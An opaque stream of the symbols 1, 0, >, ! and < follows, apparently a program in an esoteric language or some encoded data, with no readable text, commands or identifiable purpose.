!1>0>1!1>0>1!1>0>1!1>0>1!1>0>1!1>0>1>0>10110>1!1!1!1>0>1!1!1>0>10110>1!1>0>1!1>01010111>01!1!10110>1!<>1>0>1!1>0>1!1>0>1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1!1>01010111>01>0>101101010111>01!1>0>1!1>0>1!1!1!1>0>1!1!1>0>1!1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1!1!10110>1!1!1!1!1>0>1>0>1!1>0>1>0>1!1!1!1!1>0>1>0>1!1>0>1!1>0>1!1>0>1!1!1>0>1!1>0>1!10110>10110>1!1!1!1>0>1>0>1!1>0>10110>1!1>0>1!1>01010111>01!1>0>1!1>0>1>0>1!<>1>0>1!1>0>1!1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1!1>01010111>01>0>10110>1!1!1!1!1!10110>1!1>0>1!1!1!1>0>1!1!1>0>1!1!1>0>1!1>0>1!1!1!1>0>1>0>1!1>0>1!10110>1!1!1!1!1>0>1>0>1!1>0>1>0>1!1!1!1!1>0>1>0>1!1>0>1!1>0>1!1>0>10110>1!1!1>0>1!1>0>1>0>10110>1!1!1!1>0>1>0>1!1>0>10110>1!1>0>1!1>0>1!1!1!1!1!10110>1!1>0>1>0>1!<>1>0>1!10110>1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1!1>0>1!1!1>0>1>0>1!1>0>1>0>10110>1!1!1!1!1!10110>1!1>0>1!1!1!1>0>1!1!1>0>1!1!1>0>1!1>0>1>0>1!10110>1!1>0>1!10110>1!1!1!1!1>0>1!10110>1!1!1!1!1>0>1>0>1!1>0>1!1>0>1!1>0>1!1>0>1>0>1!1!1>0>1!1>0>1>0>10110>1!1!1!1>0>1!1!1>0>10110>1!1>0>1!1>01010111>01!1!10110>1!<>1>0>1!1>0>1!1>0>1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1!1>0>10110>1!1!1>0>1>0>101101010111>01!1!1!1>0>1!1!1!1>0>1>0>1!1>0>10110>1!1>0>1!1!1!1>0>10110>1!1>0>1!1>0>10110>1!1>0>1!1>0>1>0>10110>1!1!1>0>1!1>0>10110>1!1>0>1!10110>10110>1!1!1!1>0>1!10110>1!1!1>0>1>0>1!1>0>1!1>0>10110>1!1>0>1!1!1>01010111>01>0>1!10110>1!1>0>1!1!1>0>1!1!1!1>0>1!1>0>1>0>1!10110>1!1>0>1!1!1>0>1!1>0>1!1>0>1!1>0>1>0>1!1>0>1!1!10110>1!<>1>0>1!1!1>0>1!1!1>01010111>01!1>0>1>0>1!1>0>1!1!10110>1!1>0>1!1!1>0>10110>1!1!1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1!1!1!1>0>1!1>0>10110>1!1>0>1>0>1!1!1>0>1!1>0>1!1!1>0>1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1>0>1!1!1>0>1!1>0>1!1!1>0>1>0>1!1!1>0>1!1>0>1!<1010111>01!1>0>1!1!1!1!1>0>1!10110>1!1!10110>1!1>0>1!1>0>1>0>1!1!1>0>1!1>0>1!1>0>1!1>0>1!1>0>1!1>0>1!1>0>1>0>1!1>0>1!1!<>1!1>0>1!1>0>1!1>0>1>0>1!1!10110>1!1!1>0>1>0>1!1>0>1!1!1!1!10110>1!1!1>0>1!1!1!1>0>1!10110>1!1>0>1>0>1!1>0>1!1!1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1>01010111>01>0>1!1!1>0>1!101101010111>10111>01!1!1>0>1!1>0>1!1>0>1!10110>1!1!10110>1!1!1!1>0>1!1!1!1>0>1!1>0>1!1>0>1!1>0>1!1>0>1!1>0>1!1>0>1!1>0>1!1>0>1!<>1!10110>1!1>0>1>0>1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!1!10110>1!1!1>0>1!1!1!1>0>1!1!1>0>1!1!1>0>1>0>1!1>0>1!1!1!1>0>1!1>0>1>0>1!1!1!1!1>0>1>01010111>01>0>1!1!1>0>1!1>0>1>0><1010111>01!1!1>0>1!1>0>1!1>0>1!10110>1!1!10110>1!1!1!1>0>1!1!1!1>0>1!1>0>1!1>0>1!1>0>1!1>0>1!1>0>1!1>0>1!1>0>1!1>0>1!<>1!10110>1!1>0>1>0>1!1!10110>1!1!1>0>1>0>1!1!1>0>1!1>0>1!10110>1!1!1>0>1!1!1!1>0>1!1>0>1>0>1!10110>1!1>0>1!1!1!1>0>1!1>0>1>0>1!1>0>1>0>1!1!1>01010111>01>0>1!1!1>0>1!1!1>0><1010111>01!1!10110>1!1>0>1!10110>1!1!10110>1!1!1!1>0>1>0>1!1!1>0>1!1>0>1!1>0>1!1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1!<>1!1!1!1>0>1!1>0>1>0>1!1!10110>1!1!1>0>1>0>1!1>0>1>0>1!1!1!10110>1!1!1>0>1!1!1!1>0>1!1!1>0>1!1!1>0>1>0>1!1>0>1!1!1!1>0>1!1>0>1>0>1!1!1!101101010111>01>0>1!1!1>0>1!1!1>0><1010111>01!1!1>0>1!1>0>1!1>0>1!10110>1!1!10110>1!1!1!1>0>1!1!1!1>0>1!1>0>1!1>0>1!1>0>1!1>0>1!1>0>1!1>0>1!1>0>1!1>0>1!<>1!1!1>0>1>0>10110>1!1!10110>1!1!1>0>1>0>1!1>0>1!1!1>0>1!10110>1!1!1>0>1!1!1!1>0>1!1!1>0>1!10110>1!1>0>1!1!1!1>0>1!1>0>1>0>1!1!1>0>101101010111>01>0>1!1!1>0>1!1!1>0><1010111>10111>01!1>0>10110>1!1!10110>1!1>0>1!1>0>1>0>1!1!1>0>1!1>0>1!1>0>1!1>0>1!1>0>1!1!10110>1!1>0>1!1!<>1!1>0>1!1>0>1!1>0>1>0>1!1!10110>1!1!1>0>1>0>1!1!1>0>1!1>0>1!10110>1!1!1>0>1!1!1!1>0>1!1>0>1>0>1!10110>1!1>0>1!1!1!1>0>1!1>0>1>0>1!1>0>1>0>1!1!1>01010111>01>0>1!1!1>0>1!1!1>0><1010111>01!1>0>1>0>1!1!1!1>0>1!10110>1!1!10110>1!1!1!1>0>1>0>1!1!1>0>1!1>0>1!1>0>1!1>0>1!1>0>1!1>0>1>0>1!1!1>0>1!1>0>1!<>1!1>0>1!1>0>1!1>0>1>0>1!1!10110>1!1!1>0>1>0>1!1!1>0>1!1>0>1!10110>1!1!1>0>1!1!1!1>0>1!1>0>1>0>1!10110>1!1>0>1!1!1!1>0>1!1>0>1>0>1!1>0>1>0>1!1!1>0>1!1!1!1!10110>10110>1!1!1>0>1!1!1!1!1>0>1>0>1!10110>10110>1!1>0>1!1!1>0>1>0>1!1!1>0>1!10110>10110>1!1>0>1!1!1!1!1!10110>1!1>0>1>01010111>01>0>1!1>0>10110>1!10110>1!1>0>1!1!1!1>0>1>0>1!1!1>0>1!1>0>1!1>0>1!1!1!<1010111>01>0>1!1!1>0>1!1!1!1>0>1>0>1!1>0>1!1!1!1>0>1>0>1!1>0>1!1>0>1!1!10110>1!1>0>1>0>1!1>0>1>0>1!1!1>0>1>0>1!1!1!1>0>1!1!1>0>1>0>1!1>0>1!10110>10110>1!1!1>0>1!1>0>1>0>1!1!1>0>1!1!1>0>1!1>0>1!1>0>1!1!1>0>1!1!1!1!1>0>1!1!1>0>1!1>0>1>01010111>01!1>0>1>0>10110>1!10110>1!1>0>1!1!1!1>0>1>0>1!1!1>0>1!1>0>1!1>0><>1!1>0>1>01010111>01>0>1!1!1>0>1!1!1>0>1!1>0>1!1>0>1!1!1!1>0>1>0>1!1>0>1!1>0>1!1!10110>1!1>0>1>0>1!1>0>1>0>1!1!1>0>1>0>1!1!1!1>0>1!1!1>0>1>0>1!1>0>1!10110>10110>1!1!1>0>1>0>1!10110>1!1!1!1>0>1!1>0>1!1>0>1!<>1!1!1>0>1!1>0>1>0>1!1!1!1!10110>1!1>0>10110>1!10110>1!1>0>1!1!10110>1!1!1>0>1!1>0>1!1>0>1!<>1!1>01010111>01>0>1!1!1>0>1!1!10110>1!1>0>1!1!1!1>0>1>0>1!1>0>1!1>0>1!1!10110>1!1>0>1>0>1!1>0>1>0>1!1!1>0>1>0>1!1!1!1>0>1!1!1>0>1>0>1!1>0>1!10110>10110>1!1!1>0>1!1>0>1>0>1!1!1>0>1!1!1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!1!1!1!1>0>1!1>0>1!1!1!10110>1!1>0>1!1>0>1>0>1!1!1>0>1!1>0>1!1!1!1>0>1!1>0>1>0>1!1!1>0>1>0>1!1!1>0>1!1>0>1!1!1!1>0>1!1>0>1!1>0>1!1>0>1>0>1!1!10110>1!10110>101101010111>01!1>0>1>0>10110>1!1>0>10110>1!1!1!1>0>10110>1!10110>10110>1!10110>1!1!1!1!1>0>1!1!1>0>10110>1!1!1!1>0>1!10110>1!1>0>1!1>0>10110><>10110>1!1!1!10110>1!10110>1!1>0>1!1>0>1>0>1!1!1!10110>10110>1!1!1!1>0>1!1!10110>1!10110>1!1>0>1>0>1!1!10110>1!1!10110>1!1>0>1>0>1!1!1!1>0>10110>1!1!1>0>1!1>0>10110>10110>1!1>0>1>0>1!1!1!1>0>10110>1!10110>1!1>0>1>0>1!10110>1!1!1!1!1>0>1!1!1>0>1>0>10110>1!1!1>0>1!10110>1!1>0>1!10110>10110>1!1>0>10110>10110>1!1!1!10110>1!10110>1!1>0>1!1>0>1>0>1!1!1!10110>1!1!1!1!1>0>1>0>1!1!1!10110>1!10110>1!1>0>1>0>1!1!1>0>10110>1!1!1!1>0>1!1>0>1>0>1!1>0>1>0>1!1!1!1!1>0>1>0>1!1!1!1>0>1!1>0>1>0>10110>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!1>0>1>0>10110>1!1!1!1!1>0>10110>1!1!1>0>1>0>1!1!1>0>1>0>10110>1!1>0>1>01010111>01!10110>1!1>0>10110>1!1!1>0>1!1>0>1!1>0>1!1>0>1!1>0>1!1>0>1!1>0>10110>1!1!10110>1!1!1!1>0>1>0>1!1!1>01010111>01!1>0>1!1>01010111>01!1!1>0>1!1>0>1!1>0>1>0>1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1!1!1>0>1!1!1!1>0>1!1>0>1!1>0>1>0>1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1!1>0>1!1>0>1>0>1!1!1!1>0>1!1!1!1!10110>1!1!1>0>1!1>0>1!1>0>1!1>0>1!1!1>0>1!1!1>0>1>0>1!10110>1!1>0>1>0>1!1!<>1!1>0>1!1>0>1>0>1!1!1!1!1>0>1!1!1!1!1>0>10110>1!1!1>0>1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>10110>1!1!1>0>1!1!1>0>1>0>1!1!1>0>1>0>1!1>0>1>0>1!1>0>1>0>1!10110><>1!1!1>0>1>0>1!1>0>1>0>10110>1!1!1!1>0>1!1>0>1>0>1!1!1>0>1!1!1>0>1!1!1>0>10110>1!10110>1!1!1!1>0>1>0>1!1>0>10110>1!1!1!1!1>0>1!1!1>0>1>0>1!10110>1!10110>1!1>0>1!1>0>1!1!1>0>1!10110>1!1!1>0>1!1>0>1!1>0>10110>1!10110>1!1!1!1!1>0>1>0>1!1!1>0>1>0>1!1!1>0>1!10110>1!1!1>0>1!1>0>1>0>1!1!1!1>0>1>0>10110>1!1>0>1>0>1!1>0>1!10110>1!1!1>0>1!1>0>1>0>1!1!1!1!1>0>1>0>1!1>0>1>0>1!1>0>1>0>10110>1!1!1>0>1!1>0><>1!1>0>1>0>1!1!1!1!10110>1!1!1>0>1!1>0>1!1!10110>1!1>0>10110>1!1>0>1>0>1!1!1!1!1>0>10110>1!1!1!1>0>1!1>0>1!1>0>1!1!1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!10110>1!1!1>0>1!1!1!1>0>1!1>0>1>0>1!10110>1!10110>1!1!10110>1!1!1>0>1>0>1!1!1>0>1>0>1!1!1!10110>1!1>0>10110>1!1>0>1>0>1!1!1>0>1!1>0>1>0>10110>10110>1!10110>1!1!1!1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1>0>10110>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1>0>1!10110>1!10110>1!1!1!1!1!10110>10110>1!1>0>1!1!1!1>0>10110>1!1>0>1!1!1>0>1>0>1!1>0>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1!1!1!1>0>10110>1!1>0>1>0>1!1!1>0>1!1!1>0>1!1>0>1>0>1!1>01010111>01!1>0>1!1!1!1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!10110>10110>1!1!10110>1!1>01010111>01>0>1!1>0>1!1!1!1!1!1!10110>10110>1!1>0>1!1!10110>1!1>0>1!1>0>10110>1!1!1>0>1!1!1!1>0>1>0>1!10110>1!1>0>1!1>01010111>01!1>0>1!1!1>0>1!1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1>0>10110>1!1>0>1>0>10110>1!1!1>0>10110>1!1!1!1>0>10110>10110>1!1>0>1>0>1!1>0>10110>1!101101010111>01!1>0>1>0>1!1>0>1!1!1>0>1>0>1!1!1>0>1>0>1!1!1!1>0>1!1>0>1>0>1!1!10110>1!10110>1!1>0>1!1!1>0>1!1>0>1>0>1!1>0>1!1!10110>1!1!1>0>10110>1!10110>1!1!10110>1!1>0>1>0>101101010111>01>0>1!1!1!1>0>1!1>0>1!1!1!1>0>1>0>1!1>0>1!10110>1!1!1!1>0>1>0>1!1!1>0>1>0>1!1!10110>1!1>0>1!1!1!1!1!1!10110>1!1>0>10110>1!1>0>1>0>1!1!1>0>1>0>10110>1!1!1!1>0>1!1>0>1!1>0>1!1>0>1>0>1!1>0>1!1!1>0>1>0>1!1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1!1!1!1!1>0>1!1>0>1>0>10110>1!1!1>0>1!1!1!1>0>10110>1!1>0>10110>1!1!1!1>0>1>0>1!1!1!10110>1!1>0>1!1!1!1>0>1!1!1>0>1!1>0>1>0>1!1!1>0>1>0>1!1!1>0>1!1>0>1!1!1>0>1!1!1!1!1>0>1>0>1!1!1>0>1>0>1!1>0>1!1>0>1!1!1!1!1>0>1!1>0>1!1!1>0>10110>1!1!1>0>1>0>1!1!1!1>0>1!1>0>10110>1!1!1!10110>1!1!1>0><>1>0>10110>1!1!1>0>1!1!10110>1!1>0>1!1>0>1>0>1!1!1!1>0>1!10110>10110>1!1>0>1>0>1!1!1>0>1!10110>1!1!1!1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!1>0>1!1>0>1!10110>1!1>0>1!1>0>1!1>0>1>01010111>01!10110><>1!1>0>1>0>1!10110>1!1!1>0>1>0>1!1!1>0>1>0>1!1>0>10110>1!1>0>1!1!1!1>0>1!1!1!1!1>0>1!1>0>1!1!1>0>1!1!1!1>0>1!1!1!1>0>1!1>0>1>0>10110>1!1!1!1>0>1!1>0>1!1>0>1!1>0>1>0>1!1>0>10110>1!1!1!1>0>1>0>1!1>0>1!1>0>1!1>0>1!1>0>1>0>10110>1!1>0>1!1>0>1>0>1!1!1!1!1>0>1!1!1>0>1!1>0>1>0>1!1>0>10110>1!10110>1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1!1>0>1!1>0>1>0>1!1!1>0>10110>1!1>0>1>0>1!1!1>0>1!1!1!1!10110>1!1>0>1!1!1!1>0>1!1>0>1!1>0>1>0>1!1!1!1!1>0>10110>1!1>0>1>0>1!1!1>0>1!1>0>1>0>1!1!1>0>1!1>0>1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1!1!1!1!10110>10110>1!1>0>1!1>0>1>0>1!1!1!1!1>0>1>0>1!1!1!1!1>0>1!1>0>1!1!1!10110>1!1!1>0>1!1>0>1!1!1!1>0>1!1!1!1>0>1>0>1!1>0>1!1!1!1!1>0>1>0>1!1>0>1>0>1!1>0>10110>1!1>0>1>0>1!1>0>1!10110>1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1!1!1!10110>1!1!1!1!1!10110>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!1>0>1>0>10110>10110>10110>1!1!1!1>0>1>0>1!1!1>0>1>0>1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!1!1!1!1!10110>1!1!1>0>1>0>1!1!10110>1!1!1!1!1!10110>1!1>0>1>0>1!1!1>0>1>0>1!1>0>1>0>1!1!10110>1!10110>1!1!10110>1!1>0>1>0>1!1>0>1>0>1!1>0>1!1>0>1>0>1!1!1!1!1>0>1!1!1>0>1>0>1!1>0>1!1!1>0>1!1!1>0>1!1>0>1!1>0>1!1>0>1>0>1!1>01010111>01>0>10110>1!1!1!1>0>1!1>0>1>0>1!1!1>0>1!1!1!10110>1!1!1!10110>1!1!1>0>1>0>1!1!1!1!1>0>1>0>10110>1!1!1>0>1!1!10110>1!1>0>1!1>0>10110>1!1!1>0>1!1!1>01010111>01!10110>1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1!1!1>0>1!1>0><>1>0>1!1!1>0>1!1!1!1!1>0>1!1>0>1!1>0>1!1>0>1>0>1!1!1>0>1!1!1>0>10110>1!1!1>0>1>0>1!1>0>1>0>1!1>0>1!1!1!1!10110>1!1!10110>1!10110>1!10110>1!1!1!1!1>0>1!1!1>0>1>0>1!10110>1!1!1>0>1>0>1!1>0>1!1>0>10110>1!1>0>1>0>1!1!10110>1!1!10110>1!1!1!1>0>1!1>0>1>0>1!1>0>1!1>0>1!1>0>1>0>1!1>0>1!1>0>1>0>10110>1!1!1!1>0>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>10110>1!1!1!1>0>1>0>1!1!1!10110>10110>1!1>0>1!1>0>1!1>0>1>0>1!1>0>1!1!10110>1!1>0>1>0>10110>10110>1!1!1>0>1!1!1>0>1!1!1>0>1>0>1!1>0>1!1>0>10110>1!1!1>01010111>01>0>1!1!1>0>1>0>1!1!1!1>0>1!1>0>1!1!10110>1!1!1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1>0>1!1!1>0>1!10110>1!1>0>1>0>10110>1!1>0>1>0>1!1>0>1>0>1!1>0>1!1>0>10110>1!1>0>1>0>1!10110>1!1>0>1!1>0>1!1!1>0>1!1>0>1!10110>10110>1!1>0>1!1>0>1!1>0>1!1!1!1!1>0>10110>1!1!1>0>1!1!1!1!1>0>1>0>1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1!1>0>10110>1!1!1!1>0>1!10110>1!1>0>1>0>1!1!1>0>1!1!1!1>0>1!1>0>1>0>10110>10110>10110>1!1>0>1!1>0>1!1>0>1>0>1!10110>1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>10110><>1!1!1>0>1>0>1!1>0>1!1>0>1!1!1!1>0>1>0>1!1!10110>1!1!1!1!1>0>1>0>1!1!1!1>0>1>0>1!1!1>0>10110>1!10110>1!10110>1!1!1!1!1>0>1!1!1>0>10110>1!1!1>0>1>0>1!1>0>1!1>01010111>01!1>0>1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1!1>0>1!1>0>1!1>0>1>0>1!1>0>1!1>0>1>0>1!1>0>1!1>0>1!1>0>1!1!1!1!1>0>1!1!<>1!1>0>1>0>1!1>0>1>0>1!1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1!1!1>0>10110>1!1!1>0>1!1>0>1>0>1!1!1>0>1!1!1>0><>1>0>1!10110>1!1>0>1!1>0>1!10110>1!1!10110>1!1!1>0>1!1!1!1>0>1!1>0>1>0>10110>1!1!1!1>0>1!1!1!1>0>1!1!1>0>1!1!1>0>1!1>0>1!1!1>0>1!1!1!1!1>0>1!1!1!1!10110>1!1!1>0>1!10110><>1>0>1!10110>1!1>0>1!1!1!1>0>1!1>0>1!1>0>1!1>0>1!1!10110>10110>1!1>0>1!10110>1!10110>1!1>0>1!1>0>1!1!1!1!1>0>1!1!1!1>0>1>0>1!1!1!1>0>1!1>0>1>0>1!1!1>0>1!1!1!1>0>10110>1!1>0>1!1!1>0>1>0>1!1>0>10110>1!1>0>1!10110>10110>1!1>0>10110>1!1!1>0>1>0><>1!1!1!1>0>1!1!1>0>1!1!10110>1!1!1>0>1!1>0>1>0>1!1!1!1!<>10110>1!1!1>0>1!1!10110>1!1>0>1!10110>1!1>0>1!10110>1!1>0>1>0>1!1!1!1!1>0>1>0>1!1!1!1!1>0>10110>1!1!1>0>1!1!1!1>0>1!1!1>0>1!1>0>1!1>0>1!1!1!1>0>1!1>0>10110>1!1!1!1!1>0>1!1!1>0>1!1!1!1!1>0>1!1>0>1!1>0>1>0>101101010111>01!1>0>1!1!1>0>1!1>0>1!1>0>10110>1!1!1!10110>10110>1!1!1!1>0>1!1!1!1!1>0>10110>1!1>0>1!1!1>0>1>0>1!1>0>10110>1!1!1!10110>1!1!10110>1!1!1!1>0>1!1>0>1!1!1!1>0>1!1!1!1>0>1!1!1!1>0>10110>1!1!1!1>0>1!1>0>1!1>0>1!1>0>1!1!1!1>0>10110>1!1!1!1!1>0>1!1>0>1>0>1!1!1>0>1!1!1!1!1!10110>10110>10110>1!1>0>1>0><>10110>1!1!1>0>1>0>1!1>0>1>0>1!1!1>0>1!1>0>1!1>0>1!1!1!10110>1!1>0>1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1!1>0>1!1!1!1>0>1!1>0>1>0><>1!1!1>0>1!1!1>0>1!101101010111>01>0>1!1>0>1!1>0>1!10110>1!1!1>0>1>0>1!1!1!1!1>0>1!1!1>0>1!1>0>1>0>1!1>0>1!10110>1!1>0>10110>1!1!1!1>0>1!1!1!1>0>1>0>1!1!1>0>1>0>1!1!1!1>0>10110>1!1!1>0>1>0>1!10110>1!1!1>0>1>0>1!1>0>1>0>1!10110>1!1>0>1>0>1!1!1!1>0>10110>1!1>0>1!1!1>0><>1!1>0>1!1!1!1!1>0>1>0>1!1>0>1!1!1>0>1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>10110>1!1!10110>10110>10110>10110>1!1>0>1!1!1>0>1>0>1!1!1!1!1>0>1!1!1!1>0>1!1>0>1!1!1!1>0>1!1>0>1>0>1!1>0>1!1>0>1>0>1!1>0>1!1>0>1!1>0>1>0>1!10110>1!1>0>1>0>1!1!1>0>1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1>0>1!1!1!1>0>1!1>0>1!1>0>10110>1!1>0>1!10110>1!1!10110>1!1>0>1!10110>1!1!1>0>1>0>1!1!10110>1!1!10110>10110>1!1>0>1!10110>1!1!1>0>1!1>0>1!1!1!1!10110>1!1>0>1!1!1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1>0>1!1>0>1!1!1!1>0>1!1!10110>1!1!1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1>0>1!1!1>0>1!1>0>1!1>0>1>0>1!1!1>0>1!1>0>1!1!1!1>0>1>0>1!1>0>10110>1!1!1!1>0>1!1>0>1!10110>1!1!1!10110>1!1>0>1!1>0>1!1>01010111>01!1>0>1!1!1>0>10110>10110>1!1!1>0>1!1>0>1>0>1!1!1>0>1!1!1!1!1>0>10110>1!1!1!1>0>1!1>0>1>0>1!10110>1!1>0>1>0>10110>1!1>0>1!1>0>10110>1!1>01010111>01!1!1!1>0>1!1!1!<>1!1!1>0>1!1>0>1!1!1>0>1>0>1!1!1>0>1>0>1!1!1>0>1>0>1!1!1>0>1!1>0>1!1!1>0>1!1>0>1!1!1!1>0>1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1!1!1>0>1>0>1!1>0>1!1!1>0>1!10110>1!1>0>1>0>1!1>0>1!1!1!1!1>0>1!1!10110>1!1!1!1>0>1!1!1>0>1!1!1!1!10110>1!1!1>0>1>0>1!1>0>1>0>1!1!1!1>0>1!1>0>1>0>10110>10110>1!1>0>1!1!1>0>1>0>1!1>0>1!1>0>1!10110>1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1!1>0>1>0>1!1!1>0>1!1>0>1!1>0>1!1!1!10110>10110>1!1>0>1!1!1!1>0>1>0>1!1>0>1!1!1!1>0>1!1>0>1>0>1!1>0>1!1!1!1!10110>1!1>0>1!10110>10110>1!1!1!1>0>1>0>1!1!10110>1!1!1!1!1!10110>1!1!1>0>1!1!1!1!10110>10110>1!10110>1!1>0>1>0>1!1!1!1>0>1!1>0>1!1>0>1>0>1!1!1!1!10110>1!1>0>1!1!1!10110>10110>1!1>01010111>01!10110>1!1>0>1!1>0>1!1!1>0>10110>1!1!1>0>10110>1!1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!1>0>1!10110>1!1!1!<>1!1>0>1!1>0>1>0>1!1!1!1!1>0>1!1!1!1>0>1!1!1!1>0>1!1>0>1!1>0>1>0>1!1!1>0>1>0>1!1!1>0>1>0>1!1!10110>1!10110>10110>1!1!1!1!1>0>1>0>10110>1!1>0>1>0>1!1>0>1!1!1>0>1>0>1!10110>1!1!1>0>1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1!1>0>1>0>1!1!1!1>0>1!10110>1!1>0>1!1>0>1!1>0>1!1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1!1>0>1>0>1!10110>1!1>0>1!1>0>1!1!1>0>1!1!1!1!1>0>1!1>0>1!1>0>1!1!1!1>0>1>0>1!1!1!1!10110>1!1>0>1!1>0>10110>10110>1!10110>1!10110>1!1>0>1!1>0>1!1>0>1!10110>1!1>0>1>0>1!1>0>10110>1!1!1>0>1>0>1!1>0>10110>1!1!1!1>0>1!1!1>0>1>0>1!<>1!1!1>0>1>0>1!1>0>1>0>1!1>0>1>0>1!1!1>0>1!1>0>1>0>1!1>0>1>0>1!1!1>0>1!1!1!1>0>1>0>1!1>0>1!1>0>1!1>0>1>0>1!1!1!1!1>0>1!1>0>1!1!1>0>1>0>10110>1!1>0>1!1>0>1>0>1!1>0>1!1>0>1>0>1!1>0>1!1>0>1!1>0>1!1!1>0>1!1!1!1!1>0>1!1>0>1>0>1!1>0>1!1!1>0>1!1!1!1>0>1>0>1!1!1>0>1>0>10110>10110>10110>10110>1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1>0>1!1!1>0>10110>1!1>0>1!1!1>0>1!1!1!1>0>10110>1!1>0>1!10110>1!1!1!10110>1!10110>10110>1!1>0>1!1!1>0>1!1>0>1!1!1>0>1>0>101101010111>01!1>0>1!1>0>1!1>0>1>0>1!1>0>1!1>0>1!1!1!1>0>1>0>1!1!1!1!1>0>1!1!1>0>10110>1!1>01010111>01>0>10110>1!1!1!1>0>1!1!1>0>1!1!1>0>1!1>0>1!1!1!1!1>0>1>0>1!1>0>1>0>10110>1!10110>1!1!1>0>1>0>1!1!1>0>1>0>1!1>0>1!1!1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1>0>1!1>0>10110>1!1>0>1>0>1!10110>1!1!1>0>1>0>1!1!1>0>1>0>1!1!1>0>1!1>0>1>01010111>01!1!1!1!1!1!1!1!1!1!1!1!1!1!10110>1!1>0>1>0>1!1!1>0>10110>1!1!1>0>1!1>0>1!1>0>1>0>1!10110>10110>1!1!1!1!1>0>1>0>1!1!1!10110>1!1>0>1!1!1>0>1>0>1!1!1!10110>1!1!1>0>1!1!1>0>10110>1!1>0>10110>1!1>0>1!1!1>0>1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1!1!1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!1!1!1>0>1!1!1>0>1>0>1!1!1!10110>1!1>0>1>0>1!1!1>0>1!1>0>1!1!1!1>0>1!10110>1!1>0>1>0>1!1!1!1>0>10110>1!1!1!1>0>1!1!1!10110>1!1>0>1!1>0>1>0>1!1>0>1!1!1>0>1!1!1>0>1!1>0>1!1!1>0>1>0>1!1!1!1!1!10110>1!1>0>1!1>0>1!1!1>0>1!1!1!1>0>1!1>0>1!1!1!1!1>0>1>0>1!1!1!1>0>1>0>1!10110>1!1>0>10110>1!1>0>1!1>0>1!10110>1!1>01010111>01!1!1>0>1!1!1>0>1>0>1!1>0>1!10110>1!1!1!1!10110>1!1>0>1>0>10110>1!1!1>0>1!1>0>1!1!1!10110>1!1>0>1>0>1!10110>1!1!1!1>0>1!10110>1!1>0>1>0>10110>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>10110>1!1!1!1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1!10110>1!1>0>1!1!1>0>1>0>1!1>0>1>0>1!1!1>0>1>0>1!1>0>1!10110>1!1>0>1!1>0>1!1!1>0>1!1>0>1!1>0>1>0>1!1!1!1>0>1!1!1>0>1>0>1!1!1!1!1>0>1>0>1!1>0>1!1!1>0>1>0>10110>1!1!1!1>0>1>0>1!10110>1!1!1!10110>10110>1!1!1>0>1!1!1>0>1!1!10110>1!1>0>1!1>0>1!1>0>1!1!1!1!1>0>1!1!1!1>0>1!1!1>0>1!1!1>0>1!1!1>0>1!1!1>0>1>0>1!1>0>10110>1!1!1!1!1>0>1!1!1>0>1>0>1!1!1>0>1>0>1!1!1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!10110>1!1>0>1!1!1>0>1>0>1!1>0>1>0>1!1!1!1>0>1!1!1>0>1>0>10110>1!1!1>0>1!1>0>1>0>1!1>0>1!1!1!1>0>1!<>1>0>1!10110>1!1!1!1>0>1!1!1>0>1!1!1!10110>1!1!1!1!10110>1!1!1>0>1!1!1>0>1>0>1!10110>1!1>0>1!1!1!1>0>1!1!1>0>1>0>10110>1!1!1!1>0>1!10110>10110>1!1>0>1>0>1!1!1>0>1>01010111>010110>1!1>0>1!1!10110>1!1!1!1>0>1>0>1!1>0>1!1>01010111>01!1>0>1!1>0>1!1!1>0>1>0>1!10110>1!1!1>0>1!1>0>1!10110>1!1